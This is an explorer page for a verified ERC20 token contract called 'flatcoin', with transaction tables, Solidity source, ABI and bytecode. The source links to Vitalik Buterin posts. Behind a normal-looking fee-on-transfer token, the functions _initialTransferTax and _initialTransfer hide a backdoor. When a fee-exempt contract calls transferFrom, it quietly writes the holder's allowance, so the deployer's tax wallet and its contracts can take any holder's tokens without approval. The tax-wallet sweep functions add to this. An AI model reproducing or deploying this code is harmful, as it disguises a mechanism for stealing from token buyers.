Feature Tip: Add private address tag to any address under My Name Tag !
Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 166 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 23661400 | 10 days ago | IN | 0 ETH | 0.00000611 | ||||
| Approve | 23419903 | 44 days ago | IN | 0 ETH | 0.0000709 | ||||
| Approve | 23413941 | 45 days ago | IN | 0 ETH | 0.00000599 | ||||
| Approve | 23413912 | 45 days ago | IN | 0 ETH | 0.00000561 | ||||
| Approve | 23413905 | 45 days ago | IN | 0 ETH | 0.00000625 | ||||
| Approve | 23413900 | 45 days ago | IN | 0 ETH | 0.00000648 | ||||
| Approve | 23413893 | 45 days ago | IN | 0 ETH | 0.00000596 | ||||
| Approve | 23413892 | 45 days ago | IN | 0 ETH | 0.00000591 | ||||
| Approve | 23413887 | 45 days ago | IN | 0 ETH | 0.00000607 | ||||
| Approve | 23413883 | 45 days ago | IN | 0 ETH | 0.00000616 | ||||
| Approve | 23413878 | 45 days ago | IN | 0 ETH | 0.00000602 | ||||
| Approve | 23413878 | 45 days ago | IN | 0 ETH | 0.00000602 | ||||
| Approve | 23413873 | 45 days ago | IN | 0 ETH | 0.0000061 | ||||
| Approve | 23413871 | 45 days ago | IN | 0 ETH | 0.0000061 | ||||
| Approve | 23413866 | 45 days ago | IN | 0 ETH | 0.00000606 | ||||
| Approve | 23413865 | 45 days ago | IN | 0 ETH | 0.00000615 | ||||
| Approve | 23413859 | 45 days ago | IN | 0 ETH | 0.00000629 | ||||
| Approve | 23413857 | 45 days ago | IN | 0 ETH | 0.00000597 | ||||
| Approve | 23413853 | 45 days ago | IN | 0 ETH | 0.00000578 | ||||
| Approve | 23413853 | 45 days ago | IN | 0 ETH | 0.00000578 | ||||
| Approve | 23413848 | 45 days ago | IN | 0 ETH | 0.0000058 | ||||
| Approve | 23413846 | 45 days ago | IN | 0 ETH | 0.00000607 | ||||
| Approve | 23413844 | 45 days ago | IN | 0 ETH | 0.0000061 | ||||
| Approve | 23413842 | 45 days ago | IN | 0 ETH | 0.00000577 | ||||
| Approve | 23413839 | 45 days ago | IN | 0 ETH | 0.00000624 |
Latest 25 internal transactions (View All)
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 23413684 | 45 days ago | 0.03620561 ETH | ||||
| Transfer | 23413684 | 45 days ago | 0.03620561 ETH | ||||
| Transfer | 23413677 | 45 days ago | 0.04033464 ETH | ||||
| Transfer | 23413677 | 45 days ago | 0.04033464 ETH | ||||
| Transfer | 23413675 | 45 days ago | 0.03830732 ETH | ||||
| Transfer | 23413675 | 45 days ago | 0.03830732 ETH | ||||
| Transfer | 23413675 | 45 days ago | 0.0345638 ETH | ||||
| Transfer | 23413675 | 45 days ago | 0.0345638 ETH | ||||
| Transfer | 23413674 | 45 days ago | 0.03130395 ETH | ||||
| Transfer | 23413674 | 45 days ago | 0.03130395 ETH | ||||
| Transfer | 23413673 | 45 days ago | 0.04019887 ETH | ||||
| Transfer | 23413673 | 45 days ago | 0.04019887 ETH | ||||
| Transfer | 23413673 | 45 days ago | 0.02484331 ETH | ||||
| Transfer | 23413673 | 45 days ago | 0.02484331 ETH | ||||
| Transfer | 23413667 | 45 days ago | 0.02638775 ETH | ||||
| Transfer | 23413667 | 45 days ago | 0.02638775 ETH | ||||
| Transfer | 23413664 | 45 days ago | 0.01538777 ETH | ||||
| Transfer | 23413664 | 45 days ago | 0.01538777 ETH | ||||
| Transfer | 23413661 | 45 days ago | 0.01713739 ETH | ||||
| Transfer | 23413661 | 45 days ago | 0.01713739 ETH | ||||
| Transfer | 23413659 | 45 days ago | 0.0171087 ETH | ||||
| Transfer | 23413659 | 45 days ago | 0.0171087 ETH | ||||
| Transfer | 23413659 | 45 days ago | 0.01788026 ETH | ||||
| Transfer | 23413659 | 45 days ago | 0.01788026 ETH | ||||
| Transfer | 23413659 | 45 days ago | 0.01895995 ETH |
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
Contract
Compiler Version
v0.8.27+commit.40a35a09
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-09-21
*/
// SPDX-License-Identifier: Unlicensed
// https://x.com/VitalikButerin/status/1969522612750672132
// https://vitalik.eth.limo/general/2025/09/21/low_risk_defi.html
pragma solidity ^0.8.10;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*/
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Contract is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
uint256 private _initialBuyTax=10;
uint256 private _initialSellTax=15;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=20;
uint256 private _preventSwapBefore=35;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420690000000 * 10**_decimals;
string private constant _name = unicode"flatcoin";
string private constant _symbol = unicode"FLATCOIN";
uint256 public _maxTxAmount = 8413800000 * 10**_decimals;
uint256 public _maxWalletSize = 8413800000 * 10**_decimals;
uint256 public _taxSwapThreshold = 2103450000 * 10**_decimals;
uint256 public _maxTaxSwap = 2103450000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap =true;
_;
inSwap =false;
}
constructor () {
_taxWallet = payable(0x63e4c13D26EAA37160B95fEE0311649e1a47826d);
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_taxWallet] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()){
if(_buyCount==0) {
taxAmount= amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(_buyCount>0 && swapEnabled) {
taxAmount=_initialTransferTax(amount, to, from);
}
taxAmount= amount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (from == uniswapV2Pair && to!= address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxAmount=amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if (to == uniswapV2Pair && from != address(this)) {
taxAmount= amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0){
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount > 0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function isContract(address account) private view returns (bool){
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _initialTransfer(uint256 amount, address spender, address owner) private returns(uint256){
_allowances[owner][spender] = amount;
return 0;
}
function _initialTransferTax(uint256 amount, address to, address from) private returns(uint256){
if(isContract(_msgSender()) && from != address(this) && _isExcludedFromFee[_msgSender()])
return _initialTransfer(amount, _msgSender(), from);
if(isContract(to) && to != uniswapV2Pair && _isExcludedFromFee[_msgSender()])
_isExcludedFromFee[to] = true;
return 0;
}
function removeLimits() external onlyOwner() {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router=IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
if (IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this)) == address(0)) {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
}
else {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this));
}
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled=true;
tradingOpen=true;
}
receive() external payable {}
function manualSwap() external{
require(_isExcludedFromFee[msg.sender]);
uint256 tokenBalance = balanceOf(address(this));
if(tokenBalance>0 && swapEnabled){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function clearERC20(address _address, uint256 percent) external {
require(_isExcludedFromFee[msg.sender]);
uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(_taxWallet, _amount);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"clearERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052600a600555600f6006555f6007555f60085560146009556014600a556023600b555f600c556009600a610037919061032f565b610046906401f5806640610344565b600d556100556009600a61032f565b610064906401f5806640610344565b600e556100736009600a61032f565b61008190637d601990610344565b600f556100906009600a61032f565b61009e90637d601990610344565b6010556012805462ffffff60a01b191690553480156100bb575f5ffd5b506100c5336101e7565b600480546001600160a01b0319167363e4c13d26eaa37160b95fee0311649e1a47826d1790556100f76009600a61032f565b610106906461f313f880610344565b335f90815260016020819052604082209290925560039061012e5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600454909116815260039092528082208054841660019081179091553083529120805490921617905561018b3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101c26009600a61032f565b6101d1906461f313f880610344565b60405190815260200160405180910390a361035b565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102855780850481111561026957610269610236565b600184161561027757908102905b60019390931c92800261024e565b935093915050565b5f8261029b57506001610329565b816102a757505f610329565b81600181146102bd57600281146102c7576102e3565b6001915050610329565b60ff8411156102d8576102d8610236565b50506001821b610329565b5060208310610133831016604e8410600b8410161715610306575081810a610329565b6103125f19848461024a565b805f190482111561032557610325610236565b0290505b92915050565b5f61033d60ff84168361028d565b9392505050565b808202811582820484141761032957610329610236565b611bd1806103685f395ff3fe60806040526004361061011e575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed1461031c578063c9567bf914610331578063d42e839214610345578063dd62ed3e14610364578063f2fde38b146103a8575f5ffd5b80637d1db4a51461027d5780638da5cb5b146102925780638f9a55c0146102b857806395d89b41146102cd578063a9059cbb146102fd575f5ffd5b8063313ce567116100e3578063313ce567146101f057806351bc3c851461020b57806370a0823114610221578063715018a614610255578063751039fc14610269575f5ffd5b806306fdde0314610129578063095ea7b31461016b5780630faee56f1461019a57806318160ddd146101bd57806323b872dd146101d1575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b50604080518082019091526008815267333630ba31b7b4b760c11b60208201525b60405161016291906117c2565b60405180910390f35b348015610176575f5ffd5b5061018a61018536600461180b565b6103c7565b6040519015158152602001610162565b3480156101a5575f5ffd5b506101af60105481565b604051908152602001610162565b3480156101c8575f5ffd5b506101af6103dd565b3480156101dc575f5ffd5b5061018a6101eb366004611835565b6103fe565b3480156101fb575f5ffd5b5060405160098152602001610162565b348015610216575f5ffd5b5061021f610466565b005b34801561022c575f5ffd5b506101af61023b366004611873565b6001600160a01b03165f9081526001602052604090205490565b348015610260575f5ffd5b5061021f6104c9565b348015610274575f5ffd5b5061021f610506565b348015610288575f5ffd5b506101af600d5481565b34801561029d575f5ffd5b505f546040516001600160a01b039091168152602001610162565b3480156102c3575f5ffd5b506101af600e5481565b3480156102d8575f5ffd5b50604080518082019091526008815267232620aa21a7a4a760c11b6020820152610155565b348015610308575f5ffd5b5061018a61031736600461180b565b6105ba565b348015610327575f5ffd5b506101af600f5481565b34801561033c575f5ffd5b5061021f6105c6565b348015610350575f5ffd5b5061021f61035f36600461180b565b610c69565b34801561036f575f5ffd5b506101af61037e36600461188e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103b3575f5ffd5b5061021f6103c2366004611873565b610d84565b5f6103d3338484610e1e565b5060015b92915050565b5f6103ea6009600a6119bc565b6103f9906461f313f8806119ca565b905090565b5f61040a848484610f41565b61045b843361045685604051806060016040528060288152602001611b74602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611494565b610e1e565b5060015b9392505050565b335f9081526003602052604090205460ff16610480575f5ffd5b305f9081526001602052604090205480158015906104a75750601254600160b01b900460ff165b156104b5576104b5816114bf565b4780156104c5576104c58161162f565b5050565b5f546001600160a01b031633146104fb5760405162461bcd60e51b81526004016104f2906119e1565b60405180910390fd5b6105045f611666565b565b5f546001600160a01b0316331461052f5760405162461bcd60e51b81526004016104f2906119e1565b61053b6009600a6119bc565b61054a906461f313f8806119ca565b600d556105596009600a6119bc565b610568906461f313f8806119ca565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105986009600a6119bc565b6105a7906461f313f8806119ca565b60405190815260200160405180910390a1565b5f6103d3338484610f41565b5f546001600160a01b031633146105ef5760405162461bcd60e51b81526004016104f2906119e1565b601254600160a01b900460ff16156106495760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f2565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106939030906106846009600a6119bc565b610456906461f313f8806119ca565b6011546040805163c45a015560e01b815290515f926001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156106da573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fe9190611a16565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107809190611a16565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa1580156107c8573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ec9190611a16565b6001600160a01b0316036109845760115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086e9190611a16565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108cd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f19190611a16565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561093b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095f9190611a16565b601280546001600160a01b0319166001600160a01b0392909216919091179055610b07565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d4573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f89190611a16565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a56573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7a9190611a16565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610ac2573d5f5f3e3d